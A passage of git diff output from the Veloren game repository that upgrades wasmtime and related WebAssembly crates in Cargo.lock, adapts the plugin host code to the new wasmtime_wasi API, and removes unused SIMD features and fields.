+@@ -8211,63 +8244,64 @@ checksum = "c62a0a307cb4a311d3a07867860911ca130c3494e8c2719593806c08bc5d0484"
+ 
+ [[package]]
+ name = "wasm-encoder"
+-version = "0.218.0"
++version = "0.224.1"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "22b896fa8ceb71091ace9bcb81e853f54043183a1c9667cf93422c40252ffa0a"
++checksum = "1ab7a13a23790fe91ea4eb7526a1f3131001d874e3e00c2976c48861f2e82920"
+ dependencies = [
+  "leb128",
++ "wasmparser 0.224.1",
+ ]
+ 
+ [[package]]
+ name = "wasm-encoder"
+-version = "0.220.0"
++version = "0.236.0"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "ebf48234b389415b226a4daef6562933d38c7b28a8b8f64c5c4130dad1561ab7"
++checksum = "3108979166ab0d3c7262d2e16a2190ffe784b2a5beb963edef154b5e8e07680b"
+ dependencies = [
+- "leb128",
+- "wasmparser 0.220.0",
++ "leb128fmt",
++ "wasmparser 0.236.0",
+ ]
+ 
+ [[package]]
+ name = "wasmparser"
+-version = "0.218.0"
++version = "0.224.1"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "b09e46c7fceceaa72b2dd1a8a137ea7fd8f93dfaa69806010a709918e496c5dc"
++checksum = "04f17a5917c2ddd3819e84c661fae0d6ba29d7b9c1f0e96c708c65a9c4188e11"
+ dependencies = [
+- "ahash 0.8.11",
+  "bitflags 2.6.0",
+- "hashbrown 0.14.5",
+- "indexmap 2.5.0",
++ "hashbrown 0.15.4",
++ "indexmap 2.10.0",
+  "semver 1.0.23",
+  "serde",
+ ]
+ 
+ [[package]]
+ name = "wasmparser"
+-version = "0.220.0"
++version = "0.236.0"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "e246c2772ce3ebc83f89a2d4487ac5794cad6c309b2071818a88c7db7c36d87b"
++checksum = "16d1eee846a705f6f3cb9d7b9f79b54583810f1fb57a1e3aea76d1742db2e3d2"
+ dependencies = [
+  "bitflags 2.6.0",
+- "indexmap 2.5.0",
++ "indexmap 2.10.0",
++ "semver 1.0.23",
+ ]
+ 
+ [[package]]
+ name = "wasmprinter"
+-version = "0.218.0"
++version = "0.224.1"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "0ace089155491837b75f474bf47c99073246d1b737393fe722d6dee311595ddc"
++checksum = "0095b53a3b09cbc2f90f789ea44aa1b17ecc2dad8b267e657c7391f3ded6293d"
+ dependencies = [
+  "anyhow",
+  "termcolor",
+- "wasmparser 0.218.0",
++ "wasmparser 0.224.1",
+ ]
+ 
+ [[package]]
+ name = "wasmtime"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "51e762e163fd305770c6c341df3290f0cabb3c264e7952943018e9a1ced8d917"
++checksum = "809cc8780708f1deed0a7c3fcab46954f0e8c08a6fe0252772481fbc88fcf946"
+ dependencies = [
+  "addr2line",
+  "anyhow",
+@@ -8279,11 +8313,10 @@ dependencies = [
+  "encoding_rs",
+  "fxprof-processed-profile",
+  "gimli",
+- "hashbrown 0.14.5",
+- "indexmap 2.5.0",
++ "hashbrown 0.15.4",
++ "indexmap 2.10.0",
+  "ittapi",
+  "libc",
+- "libm",
+  "log",
+  "mach2",
+  "memfd",
+@@ -8302,8 +8335,9 @@ dependencies = [
+  "smallvec",
+  "sptr",
+  "target-lexicon",
+- "wasm-encoder 0.218.0",
+- "wasmparser 0.218.0",
++ "trait-variant",
++ "wasm-encoder 0.224.1",
++ "wasmparser 0.224.1",
+  "wasmtime-asm-macros",
+  "wasmtime-cache",
+  "wasmtime-component-macro",
+@@ -8313,6 +8347,7 @@ dependencies = [
+  "wasmtime-fiber",
+  "wasmtime-jit-debug",
+  "wasmtime-jit-icache-coherence",
++ "wasmtime-math",
+  "wasmtime-slab",
+  "wasmtime-versioned-export-macros",
+  "wasmtime-winch",
+@@ -8322,18 +8357,18 @@ dependencies = [
+ 
+ [[package]]
+ name = "wasmtime-asm-macros"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "63caa7aebb546374e26257a1900fb93579171e7c02514cde26805b9ece3ef812"
++checksum = "236964b6b35af0f08879c9c56dbfbc5adc12e8d624672341a0121df31adaa3fa"
+ dependencies = [
+  "cfg-if 1.0.0",
+ ]
+ 
+ [[package]]
+ name = "wasmtime-cache"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "c7192f71e3afe32e858729454d9d90d6e927bd92427d688a9507d8220bddb256"
++checksum = "7a5d75ac36ee28647f6d871a93eefc7edcb729c3096590031ba50857fac44fa8"
+ dependencies = [
+  "anyhow",
+  "base64 0.21.7",
+@@ -8351,14 +8386,14 @@ dependencies = [
+ 
+ [[package]]
+ name = "wasmtime-component-macro"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "d61a4b5ce2ad9c15655e830f0eac0c38b8def30c74ecac71f452d3901e491b68"
++checksum = "2581ef04bf33904db9a902ffb558e7b2de534d6a4881ee985ea833f187a78fdf"
+ dependencies = [
+  "anyhow",
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+  "wasmtime-component-util",
+  "wasmtime-wit-bindgen",
+  "wit-parser",
+@@ -8366,15 +8401,15 @@ dependencies = [
+ 
+ [[package]]
+ name = "wasmtime-component-util"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "35e87a1212270dbb84a49af13d82594e00a92769d6952b0ea7fc4366c949f6ad"
++checksum = "9a7108498a8a0afc81c7d2d81b96cdc509cd631d7bbaa271b7db5137026f10e3"
+ 
+ [[package]]
+ name = "wasmtime-cranelift"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "7cb40dddf38c6a5eefd5ce7c1baf43b00fe44eada11a319fab22e993a960262f"
++checksum = "abcc9179097235c91f299a8ff56b358ee921266b61adff7d14d6e48428954dd2"
+ dependencies = [
+  "anyhow",
+  "cfg-if 1.0.0",
+@@ -8387,26 +8422,27 @@ dependencies = [
+  "itertools 0.12.1",
+  "log",
+  "object",
++ "pulley-interpreter",
+  "smallvec",
+  "target-lexicon",
+  "thiserror",
+- "wasmparser 0.218.0",
++ "wasmparser 0.224.1",
+  "wasmtime-environ",
+  "wasmtime-versioned-export-macros",
+ ]
+ 
+ [[package]]
+ name = "wasmtime-environ"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "8613075e89e94a48c05862243c2b718eef1b9c337f51493ebf951e149a10fa19"
++checksum = "8e90f6cba665939381839bbf2ddf12d732fca03278867910348ef1281b700954"
+ dependencies = [
+  "anyhow",
+  "cpp_demangle",
+  "cranelift-bitset",
+  "cranelift-entity",
+  "gimli",
+- "indexmap 2.5.0",
++ "indexmap 2.10.0",
+  "log",
+  "object",
+  "postcard",
+@@ -8416,17 +8452,17 @@ dependencies = [
+  "serde_derive",
+  "smallvec",
+  "target-lexicon",
+- "wasm-encoder 0.218.0",
+- "wasmparser 0.218.0",
++ "wasm-encoder 0.224.1",
++ "wasmparser 0.224.1",
+  "wasmprinter",
+  "wasmtime-component-util",
+ ]
+ 
+ [[package]]
+ name = "wasmtime-fiber"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "77acabfbcd89a4d47ad117fb31e340c824e2f49597105402c3127457b6230995"
++checksum = "ba5c2ac21f0b39d72d2dac198218a12b3ddeb4ab388a8fa0d2e429855876783c"
+ dependencies = [
+  "anyhow",
+  "cc",
+@@ -8439,21 +8475,21 @@ dependencies = [
+ 
+ [[package]]
+ name = "wasmtime-jit-debug"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "f02a0118d471de665565ed200bc56673eaa10cc8e223dfe2cef5d50ed0d9d143"
++checksum = "74812989369947f4f5a33f4ae8ff551eb6c8a97ff55e0269a9f5f0fac93cd755"
+ dependencies = [
++ "cc",
+  "object",
+- "once_cell",
+  "rustix",
+  "wasmtime-versioned-export-macros",
+ ]
+ 
+ [[package]]
+ name = "wasmtime-jit-icache-coherence"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "da47fba49af72581bc0dc67c8faaf5ee550e6f106e285122a184a675193701a5"
++checksum = "3f180cc0d2745e3a5df5d02231cd3046f49c75512eaa987b8202363b112e125d"
+ dependencies = [
+  "anyhow",
+  "cfg-if 1.0.0",
+@@ -8462,27 +8498,36 @@ dependencies = [
+ ]
+ 
+ [[package]]
+-name = "wasmtime-slab"
+-version = "26.0.1"
++name = "wasmtime-math"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "770e10cdefb15f2b6304152978e115bd062753c1ebe7221c0b6b104fa0419ff6"
++checksum = "f5f04c5dcf5b2f88f81cfb8d390294b2f67109dc4d0197ea7303c60a092df27c"
++dependencies = [
++ "libm",
++]
++
++[[package]]
++name = "wasmtime-slab"
++version = "30.0.2"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "fe9681707f1ae9a4708ca22058722fca5c135775c495ba9b9624fe3732b94c97"
+ 
+ [[package]]
+ name = "wasmtime-versioned-export-macros"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "db8efb877c9e5e67239d4553bb44dd2a34ae5cfb728f3cf2c5e64439c6ca6ee7"
++checksum = "dd2fe69d04986a12fc759d2e79494100d600adcb3bb79e63dedfc8e6bb2ab03e"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+ name = "wasmtime-wasi"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "f16c8d87a45168131be6815045e6d46d7f6ddf65897c49444ab210488bce10dc"
++checksum = "4ce639c7d398586bc539ae9bba752084c1db7a49ab0f391a3230dcbcc6a64cfd"
+ dependencies = [
+  "anyhow",
+  "async-trait",
+@@ -8497,7 +8542,6 @@ dependencies = [
+  "futures",
+  "io-extras",
+  "io-lifetimes",
+- "once_cell",
+  "rustix",
+  "system-interface",
+  "thiserror",
+@@ -8505,22 +8549,36 @@ dependencies = [
+  "tracing",
+  "url",
+  "wasmtime",
++ "wasmtime-wasi-io",
+  "wiggle",
+  "windows-sys 0.59.0",
+ ]
+ 
+ [[package]]
+-name = "wasmtime-winch"
+-version = "26.0.1"
++name = "wasmtime-wasi-io"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "4f7a267367382ceec3e7f7ace63a63b83d86f4a680846743dead644e10f08150"
++checksum = "bdcad7178fddaa07786abe8ff5e043acb4bc8c8f737eb117f11e028b48d92792"
++dependencies = [
++ "anyhow",
++ "async-trait",
++ "bytes",
++ "futures",
++ "wasmtime",
++]
++
++[[package]]
++name = "wasmtime-winch"
++version = "30.0.2"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "5a9c8eae8395d530bb00a388030de9f543528674c382326f601de47524376975"
+ dependencies = [
+  "anyhow",
+  "cranelift-codegen",
+  "gimli",
+  "object",
+  "target-lexicon",
+- "wasmparser 0.218.0",
++ "wasmparser 0.224.1",
+  "wasmtime-cranelift",
+  "wasmtime-environ",
+  "winch-codegen",
+@@ -8528,13 +8586,13 @@ dependencies = [
+ 
+ [[package]]
+ name = "wasmtime-wit-bindgen"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "4bef2a726fd8d1ee9b0144655e16c492dc32eb4c7c9f7e3309fcffe637870933"
++checksum = "9a5531455e2c55994a1540355140369bb7ec0e46d2699731c5ee9f4cf9c3f7d4"
+ dependencies = [
+  "anyhow",
+  "heck 0.5.0",
+- "indexmap 2.5.0",
++ "indexmap 2.10.0",
+  "wit-parser",
+ ]
+ 
+@@ -8549,24 +8607,24 @@ dependencies = [
+ 
+ [[package]]
+ name = "wast"
+-version = "220.0.0"
++version = "236.0.0"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "4e708c8de08751fd66e70961a32bae9d71901f14a70871e181cb8461a3bb3165"
++checksum = "11d6b6faeab519ba6fbf9b26add41617ca6f5553f99ebc33d876e591d2f4f3c6"
+ dependencies = [
+  "bumpalo",
+- "leb128",
++ "leb128fmt",
+  "memchr",
+  "unicode-width 0.2.0",
+- "wasm-encoder 0.220.0",
++ "wasm-encoder 0.236.0",
+ ]
+ 
+ [[package]]
+ name = "wat"
+-version = "1.220.0"
++version = "1.236.0"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "de4f1d7d59614ba690541360102b995c4eb1b9ed373701d5102cc1a968b1c5a3"
++checksum = "cc31704322400f461f7f31a5f9190d5488aaeafb63ae69ad2b5888d2704dcb08"
+ dependencies = [
+- "wast 220.0.0",
++ "wast 236.0.0",
+ ]
+ 
+ [[package]]
+@@ -8909,9 +8967,9 @@ checksum = "7219d36b6eac893fa81e84ebe06485e7dcbb616177469b142df14f1f4deb1311"
+ 
+ [[package]]
+ name = "wiggle"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "b0f25588cf5ea16f56c1af13244486d50c5a2cf67cc0c4e990c665944d741546"
++checksum = "c5a4ea7722c042a659dc70caab0b56d7f45220e8bae1241cf5ebc7ab7efb0dfb"
+ dependencies = [
+  "anyhow",
+  "async-trait",
+@@ -8924,28 +8982,28 @@ dependencies = [
+ 
+ [[package]]
+ name = "wiggle-generate"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "28ff23bed568b335dac6a324b8b167318a0c60555199445fcc89745a5eb42452"
++checksum = "3f786d9d3e006152a360f1145bdc18e56ea22fd5d2356f1ddc2ecfcf7529a77b"
+ dependencies = [
+  "anyhow",
+  "heck 0.5.0",
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+  "shellexpand 2.1.2",
+- "syn 2.0.79",
++ "syn 2.0.87",
+  "witx",
+ ]
+ 
+ [[package]]
+ name = "wiggle-macro"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "7f13be83541aa0b033ac5ec8a8b59c9a8d8b32305845b8466dd066e722cb0004"
++checksum = "ceac9f94f22ccc0485aeab08187b9f211d1993aaf0ed6eeb8aed43314f6e717c"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+  "wiggle-generate",
+ ]
+ 
+@@ -8991,9 +9049,9 @@ checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
+ 
+ [[package]]
+ name = "winch-codegen"
+-version = "26.0.1"
++version = "30.0.2"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "07ab957fc71a36c63834b9b51cc2e087c4260d5ff810a5309ab99f7fbeb19567"
++checksum = "7dbd4e07bd92c7ddace2f3267bdd31d4197b5ec58c315751325d45c19bfb56df"
+ dependencies = [
+  "anyhow",
+  "cranelift-codegen",
+@@ -9001,7 +9059,8 @@ dependencies = [
+  "regalloc2",
+  "smallvec",
+  "target-lexicon",
+- "wasmparser 0.218.0",
++ "thiserror",
++ "wasmparser 0.224.1",
+  "wasmtime-cranelift",
+  "wasmtime-environ",
+ ]
+@@ -9108,7 +9167,7 @@ checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -9119,7 +9178,7 @@ checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -9459,20 +9518,20 @@ dependencies = [
+ 
+ [[package]]
+ name = "wit-parser"
+-version = "0.218.0"
++version = "0.224.1"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "0d3d1066ab761b115f97fef2b191090faabcb0f37b555b758d3caf42d4ed9e55"
++checksum = "e3477d8d0acb530d76beaa8becbdb1e3face08929db275f39934963eb4f716f8"
+ dependencies = [
+  "anyhow",
+  "id-arena",
+- "indexmap 2.5.0",
++ "indexmap 2.10.0",
+  "log",
+  "semver 1.0.23",
+  "serde",
+  "serde_derive",
+  "serde_json",
+  "unicode-xid 0.2.6",
+- "wasmparser 0.218.0",
++ "wasmparser 0.224.1",
+ ]
+ 
+ [[package]]
+@@ -9672,7 +9731,7 @@ checksum = "2380878cad4ac9aac1e2435f3eb4020e8374b5f13c296cb75b4620ff8e229154"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+  "synstructure",
+ ]
+ 
+@@ -9694,7 +9753,7 @@ checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+@@ -9714,7 +9773,7 @@ checksum = "595eed982f7d355beb85837f651fa22e90b3c044842dc7f2c2842c086f295808"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+  "synstructure",
+ ]
+ 
+@@ -9743,7 +9802,7 @@ checksum = "6eafa6dfb17584ea3e2bd6e76e0cc15ad7af12b09abdd1ca55961bed9b1063c6"
+ dependencies = [
+  "proc-macro2 1.0.89",
+  "quote 1.0.37",
+- "syn 2.0.79",
++ "syn 2.0.87",
+ ]
+ 
+ [[package]]
+diff --git a/common/state/Cargo.toml b/common/state/Cargo.toml
+index d786873af..934e288a3 100644
+--- a/common/state/Cargo.toml
++++ b/common/state/Cargo.toml
+@@ -35,8 +35,8 @@ toml = { version = "0.8", optional = true }
+ tar = { version = "0.4.37", optional = true }
+ bincode = { workspace = true, optional = true }
+ timer-queue = "0.1.0"
+-wasmtime = { version = "26.0.1", optional = true , features = ["component-model", "async"] }
+-wasmtime-wasi = { version = "26.0.1", optional = true }
++wasmtime = { version = "30.0.2", optional = true , features = ["component-model", "async"] }
++wasmtime-wasi = { version = "30.0.2", optional = true }
+ async-trait = { workspace = true }
+ bytes = "^1"
+ futures = "0.3.30"
+diff --git a/common/state/src/lib.rs b/common/state/src/lib.rs
+index 11f8175a4..3d76f8f27 100644
+--- a/common/state/src/lib.rs
++++ b/common/state/src/lib.rs
+@@ -1,7 +1,7 @@
+ //! This crate contains the [`State`] and shared between
+ //! server (`veloren-server`) and the client (`veloren-client`)
+ 
+-#![feature(maybe_uninit_uninit_array, maybe_uninit_array_assume_init)]
++#![feature(maybe_uninit_array_assume_init)]
+ 
+ #[cfg(feature = "plugins")] pub mod plugin;
+ mod special_areas;
+diff --git a/common/state/src/plugin/module.rs b/common/state/src/plugin/module.rs
+index 72d4f9904..3189c909c 100644
+--- a/common/state/src/plugin/module.rs
++++ b/common/state/src/plugin/module.rs
+@@ -10,7 +10,7 @@ use wasmtime::{
+     component::{Component, Linker},
+     Config, Engine, Store,
+ };
+-use wasmtime_wasi::WasiView;
++use wasmtime_wasi::IoView;
+ 
+ pub(crate) mod types_mod {
+     wasmtime::component::bindgen!({
+@@ -180,9 +180,10 @@ struct WasiHostCtx {
+     registered_bodies: HashMap<String, types::BodyIndex>,
+ }
+ 
+-impl wasmtime_wasi::WasiView for WasiHostCtx {
++impl wasmtime_wasi::IoView for WasiHostCtx {
+     fn table(&mut self) -> &mut wasmtime::component::ResourceTable { &mut self.preview2_table }
+-
++}
++impl wasmtime_wasi::WasiView for WasiHostCtx {
+     fn ctx(&mut self) -> &mut wasmtime_wasi::WasiCtx { &mut self.preview2_ctx }
+ }
+ 
+@@ -276,7 +277,7 @@ impl information::HostEntity for WasiHostCtx {
+ 
+ struct InfoStream(String);
+ 
+-impl wasmtime_wasi::HostOutputStream for InfoStream {
++impl wasmtime_wasi::OutputStream for InfoStream {
+     fn write(&mut self, bytes: bytes::Bytes) -> wasmtime_wasi::StreamResult<()> {
+         tracing::info!("{}: {}", self.0, String::from_utf8_lossy(bytes.as_ref()));
+         Ok(())
+@@ -288,13 +289,13 @@ impl wasmtime_wasi::HostOutputStream for InfoStream {
+ }
+ 
+ #[wasmtime_wasi::async_trait]
+-impl wasmtime_wasi::Subscribe for InfoStream {
++impl wasmtime_wasi::Pollable for InfoStream {
+     async fn ready(&mut self) {}
+ }
+ 
+ struct ErrorStream(String);
+ 
+-impl wasmtime_wasi::HostOutputStream for ErrorStream {
++impl wasmtime_wasi::OutputStream for ErrorStream {
+     fn write(&mut self, bytes: bytes::Bytes) -> wasmtime_wasi::StreamResult<()> {
+         tracing::error!("{}: {}", self.0, String::from_utf8_lossy(bytes.as_ref()));
+         Ok(())
+@@ -306,14 +307,14 @@ impl wasmtime_wasi::HostOutputStream for ErrorStream {
+ }
+ 
+ #[wasmtime_wasi::async_trait]
+-impl wasmtime_wasi::Subscribe for ErrorStream {
++impl wasmtime_wasi::Pollable for ErrorStream {
+     async fn ready(&mut self) {}
+ }
+ 
+ struct LogStream(String, tracing::Level);
+ 
+ impl wasmtime_wasi::StdoutStream for LogStream {
+-    fn stream(&self) -> Box<dyn wasmtime_wasi::HostOutputStream> {
++    fn stream(&self) -> Box<dyn wasmtime_wasi::OutputStream> {
+         if self.1 == tracing::Level::INFO {
+             Box::new(InfoStream(self.0.clone()))
+         } else {
+diff --git a/voxygen/src/lib.rs b/voxygen/src/lib.rs
+index a9273e7c8..70ca5dd10 100644
+--- a/voxygen/src/lib.rs
++++ b/voxygen/src/lib.rs
+@@ -14,7 +14,6 @@
+     slice_as_chunks,
+     let_chains,
+     generic_const_exprs,
+-    maybe_uninit_uninit_array,
+     maybe_uninit_array_assume_init,
+     closure_lifetime_binder
  )]
-diff --git a/server/src/persistence/models.rs b/server/src/persistence/models.rs
-index df148742..70baed42 100644
---- a/server/src/persistence/models.rs
-+++ b/server/src/persistence/models.rs
-@@ -1,5 +1,6 @@
- pub struct Character {
-     pub character_id: i64,
-+    #[allow(dead_code)]
-     pub player_uuid: String,
-     pub alias: String,
-     pub waypoint: Option<String>,
-@@ -16,6 +17,7 @@ pub struct Item {
+
+commit d585b16256152fff3eaa69ec2b5b75dbe1c53f7a
+Author: Isse <git@isse.rs>
+Date:   Thu Jan 23 12:32:17 2025 +0100
+
+    Don't use vek::repr_simd
+
+diff --git a/common/Cargo.toml b/common/Cargo.toml
+index b11b5ad6f..4515fadbd 100644
+--- a/common/Cargo.toml
++++ b/common/Cargo.toml
+@@ -32,7 +32,7 @@ serde = { workspace = true, features = ["rc"] }
+ 
+ # Util
+ enum-map = { workspace = true, features = ["serde"] }
+-vek = { workspace = true, features = ["repr_simd"] }
++vek = { workspace = true }
+ chrono = { workspace = true }
+ chrono-tz = { workspace = true }
+ itertools = { workspace = true }
+diff --git a/common/src/comp/ori.rs b/common/src/comp/ori.rs
+index 567332430..93ab1f49a 100644
+--- a/common/src/comp/ori.rs
++++ b/common/src/comp/ori.rs
+@@ -364,6 +364,7 @@ impl From<Quaternion<f32>> for Ori {
+     fn from(quat: Quaternion<f32>) -> Self { Self::new(quat) }
  }
  
- pub struct Body {
-+    #[allow(dead_code)]
-     pub body_id: i64,
-     pub variant: String,
-     pub body_data: String,
-@@ -38,6 +40,7 @@ pub struct Pet {
- }
- 
- pub struct AbilitySets {
-+    #[allow(dead_code)]
-     pub entity_id: i64,
-     pub ability_sets: String,
- }
-diff --git a/voxygen/src/credits.rs b/voxygen/src/credits.rs
-index 2de54687..be49ac97 100644
---- a/voxygen/src/credits.rs
-+++ b/voxygen/src/credits.rs
-@@ -7,6 +7,7 @@ use std::path::PathBuf;
- 
- // See best practices for attribution: https://wiki.creativecommons.org/wiki/Best_practices_for_attribution
- 
-+#[allow(dead_code)]
- #[derive(Clone, Deserialize)]
- pub struct Art {
-     /// Name of the art.
-diff --git a/voxygen/src/hud/mod.rs b/voxygen/src/hud/mod.rs
-index e62250ca..6be79389 100755
---- a/voxygen/src/hud/mod.rs
-+++ b/voxygen/src/hud/mod.rs
-@@ -1,3 +1,4 @@
-+#![allow(non_local_definitions)] // because of WidgetCommon derive
- mod animation;
- mod bag;
- mod buffs;
-diff --git a/voxygen/src/render/renderer/rain_occlusion_map.rs b/voxygen/src/render/renderer/rain_occlusion_map.rs
-index bdc44f98..68026806 100644
---- a/voxygen/src/render/renderer/rain_occlusion_map.rs
-+++ b/voxygen/src/render/renderer/rain_occlusion_map.rs
-@@ -11,7 +11,6 @@ pub struct RainOcclusionMapRenderer {
- 
-     pub terrain_pipeline: rain_occlusion::RainOcclusionPipeline,
-     pub figure_pipeline: rain_occlusion::RainOcclusionFigurePipeline,
--    pub layout: rain_occlusion::RainOcclusionLayout,
- }
- 
- pub enum RainOcclusionMap {
-@@ -31,13 +30,10 @@ impl RainOcclusionMap {
-         if let (Some(terrain_pipeline), Some(figure_pipeline), Some(depth)) =
-             (directed, figure, view)
-         {
--            let layout = rain_occlusion::RainOcclusionLayout::new(device);
--
-             Self::Enabled(RainOcclusionMapRenderer {
-                 depth,
-                 terrain_pipeline,
-                 figure_pipeline,
--                layout,
-             })
-         } else {
-             Self::Disabled(Self::create_dummy_tex(device, queue))
-diff --git a/voxygen/src/render/renderer/shadow_map.rs b/voxygen/src/render/renderer/shadow_map.rs
-index 7b5ab16e..b15a2da3 100644
---- a/voxygen/src/render/renderer/shadow_map.rs
-+++ b/voxygen/src/render/renderer/shadow_map.rs
-@@ -12,7 +12,6 @@ pub struct ShadowMapRenderer {
-     pub terrain_directed_pipeline: shadow::ShadowPipeline,
-     pub figure_directed_pipeline: shadow::ShadowFigurePipeline,
-     pub debug_directed_pipeline: shadow::ShadowDebugPipeline,
--    pub layout: shadow::ShadowLayout,
- }
- 
- pub enum ShadowMap {
-@@ -43,8 +42,6 @@ impl ShadowMap {
-         {
-             let (point_depth, directed_depth) = shadow_views;
- 
--            let layout = shadow::ShadowLayout::new(device);
--
-             Self::Enabled(ShadowMapRenderer {
-                 directed_depth,
-                 point_depth,
-@@ -53,8 +50,6 @@ impl ShadowMap {
-                 terrain_directed_pipeline,
-                 figure_directed_pipeline,
-                 debug_directed_pipeline,
--
--                layout,
-             })
-         } else {
-             let (dummy_point, dummy_directed) = Self::create_dummy_shadow_tex(device, queue);
-diff --git a/voxygen/src/ui/widgets/mod.rs b/voxygen/src/ui/widgets/mod.rs
-index e7ce5ee8..622e7e9e 100644
---- a/voxygen/src/ui/widgets/mod.rs
-+++ b/voxygen/src/ui/widgets/mod.rs
-@@ -1,3 +1,4 @@
-+#![allow(non_local_definitions)] // because of WidgetCommon derive
- pub mod ghost_image;
- pub mod image_frame;
- pub mod image_slider;
-diff --git a/world/Cargo.toml b/world/Cargo.toml
-index 92bd288f..6ff2e79e 100644
---- a/world/Cargo.toml
-+++ b/world/Cargo.toml
-@@ -7,11 +7,11 @@ edition = "2021"
- [features]
- use-dyn-lib = ["common-dynlib"]
- be-dyn-lib = []
--simd = ["vek/platform_intrinsics", "packed_simd"]
-+simd = ["vek/platform_intrinsics"]
- bin_compression = ["lz-fear", "deflate", "flate2", "image/jpeg", "num-traits", "fallible-iterator", "rstar", "cli"]
- cli = ["clap", "signal-hook", "indicatif"]
- 
--default = ["simd"]
-+default = []
- 
- [dependencies]
- common = { package = "veloren-common", path = "../common" }
-@@ -36,7 +36,6 @@ tracing = { workspace = true }
- rand = { workspace = true }
- rand_chacha = { workspace = true }
- arr_macro = "0.2.1"
--packed_simd = { version = "0.3.9", optional = true }
- rayon = { workspace = true }
- serde = { workspace = true }
- ron = { workspace = true }
-diff --git a/world/src/site2/gen.rs b/world/src/site2/gen.rs
-index 59c57766..0800ccee 100644
---- a/world/src/site2/gen.rs
-+++ b/world/src/site2/gen.rs
-@@ -1415,18 +1415,6 @@ impl<'a, const N: usize> PrimitiveTransform for [PrimitiveRef<'a>; N] {
++/*
+ impl From<vek::quaternion::repr_simd::Quaternion<f32>> for Ori {
+     fn from(
+         vek::quaternion::repr_simd::Quaternion { x, y, z, w }: vek::quaternion::repr_simd::Quaternion<f32>,
+@@ -371,16 +372,19 @@ impl From<vek::quaternion::repr_simd::Quaternion<f32>> for Ori {
+         Self::from(Quaternion { x, y, z, w })
      }
  }
++*/
  
--pub trait PrimitiveGroupFill<const N: usize> {
--    fn fill_many(self, fills: [Fill; N]);
--}
--
--impl<const N: usize> PrimitiveGroupFill<N> for [PrimitiveRef<'_>; N] {
--    fn fill_many(self, fills: [Fill; N]) {
--        for i in 0..N {
--            self[i].fill(fills[i].clone());
--        }
--    }
--}
--
- pub trait Structure {
-     #[cfg(feature = "use-dyn-lib")]
-     const UPDATE_FN: &'static [u8];
+ impl From<Ori> for Quaternion<f32> {
+     fn from(Ori(q): Ori) -> Self { q }
+ }
+ 
++/*
